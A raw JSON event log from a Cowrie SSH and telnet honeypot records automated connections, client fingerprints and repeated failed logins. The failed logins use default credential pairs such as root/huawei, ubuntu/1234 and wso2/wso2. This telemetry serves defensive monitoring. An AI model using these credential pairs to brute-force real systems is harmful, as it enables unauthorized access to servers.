{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:44.135704Z","src_ip":"192.109.200.237","session":"dd874776f616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:44.384304Z","src_ip":"192.109.200.237","session":"dd874776f616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:45.482280Z","src_ip":"192.109.200.237","session":"dd874776f616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56650,"dst_ip":"159.203.135.109","dst_port":22,"session":"a96aee8b166e","protocol":"ssh","message":"New connection: 192.109.200.237:56650 (159.203.135.109:22) [session: a96aee8b166e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:47.358451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:47.363974Z","src_ip":"192.109.200.237","session":"a96aee8b166e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:47.445837Z","src_ip":"192.109.200.237","session":"a96aee8b166e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:47.790321Z","src_ip":"192.109.200.237","session":"a96aee8b166e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":55824,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2bf03cff00b","protocol":"telnet","message":"New connection: 209.127.178.212:55824 (159.203.135.109:23) [session: a2bf03cff00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:48.617495Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:48.874935Z","src_ip":"192.109.200.237","session":"a96aee8b166e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.268345594406128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:48.982735Z","src_ip":"152.42.224.71","session":"4d800b8d9e16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55892,"dst_ip":"159.203.135.109","dst_port":22,"session":"a688afcadd18","protocol":"ssh","message":"New connection: 192.109.200.237:55892 (159.203.135.109:22) [session: a688afcadd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:50.780117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:50.785133Z","src_ip":"192.109.200.237","session":"a688afcadd18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:50.867370Z","src_ip":"192.109.200.237","session":"a688afcadd18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:51.115399Z","src_ip":"192.109.200.237","session":"a688afcadd18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:52.199583Z","src_ip":"192.109.200.237","session":"a688afcadd18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55896,"dst_ip":"159.203.135.109","dst_port":22,"session":"7508d38500ae","protocol":"ssh","message":"New connection: 192.109.200.237:55896 (159.203.135.109:22) [session: 7508d38500ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:54.050407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:54.059625Z","src_ip":"192.109.200.237","session":"7508d38500ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:54.142283Z","src_ip":"192.109.200.237","session":"7508d38500ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"password","message":"login attempt [student/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:54.389269Z","src_ip":"192.109.200.237","session":"7508d38500ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:55.475024Z","src_ip":"192.109.200.237","session":"7508d38500ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55908,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc948cb927dd","protocol":"ssh","message":"New connection: 192.109.200.237:55908 (159.203.135.109:22) [session: cc948cb927dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:57.320787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:57.325817Z","src_ip":"192.109.200.237","session":"cc948cb927dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:57.408438Z","src_ip":"192.109.200.237","session":"cc948cb927dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:57.656488Z","src_ip":"192.109.200.237","session":"cc948cb927dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":56258,"dst_ip":"159.203.135.109","dst_port":23,"session":"d80915994742","protocol":"telnet","message":"New connection: 209.127.178.212:56258 (159.203.135.109:23) [session: d80915994742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:57.986605Z"}
{"eventid":"cowrie.session.closed","duration":24.32716965675354,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:58.604448Z","src_ip":"152.42.224.71","session":"929f93193bdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:17:58.741135Z","src_ip":"192.109.200.237","session":"cc948cb927dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60150,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad954e9fab7","protocol":"ssh","message":"New connection: 192.109.200.237:60150 (159.203.135.109:22) [session: 6ad954e9fab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:00.794347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:00.799660Z","src_ip":"192.109.200.237","session":"6ad954e9fab7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:00.882525Z","src_ip":"192.109.200.237","session":"6ad954e9fab7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:01.132029Z","src_ip":"192.109.200.237","session":"6ad954e9fab7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:02.219526Z","src_ip":"192.109.200.237","session":"6ad954e9fab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60164,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d36445ae9dc","protocol":"ssh","message":"New connection: 192.109.200.237:60164 (159.203.135.109:22) [session: 9d36445ae9dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:04.079412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:04.083826Z","src_ip":"192.109.200.237","session":"9d36445ae9dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:04.167814Z","src_ip":"192.109.200.237","session":"9d36445ae9dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei","message":"login attempt [root/huawei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:04.421158Z","src_ip":"192.109.200.237","session":"9d36445ae9dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:05.510433Z","src_ip":"192.109.200.237","session":"9d36445ae9dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":60172,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdc6a2467a80","protocol":"ssh","message":"New connection: 192.109.200.237:60172 (159.203.135.109:22) [session: cdc6a2467a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:07.458790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:07.462873Z","src_ip":"192.109.200.237","session":"cdc6a2467a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:07.544444Z","src_ip":"192.109.200.237","session":"cdc6a2467a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:07.817150Z","src_ip":"192.109.200.237","session":"cdc6a2467a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":24718,"dst_ip":"159.203.135.109","dst_port":22,"session":"a74b97d5861c","protocol":"ssh","message":"New connection: 213.209.159.56:24718 (159.203.135.109:22) [session: a74b97d5861c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:08.438981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:18:08.443149Z","src_ip":"213.209.159.56","session":"a74b97d5861c","protocol":"ssh"}
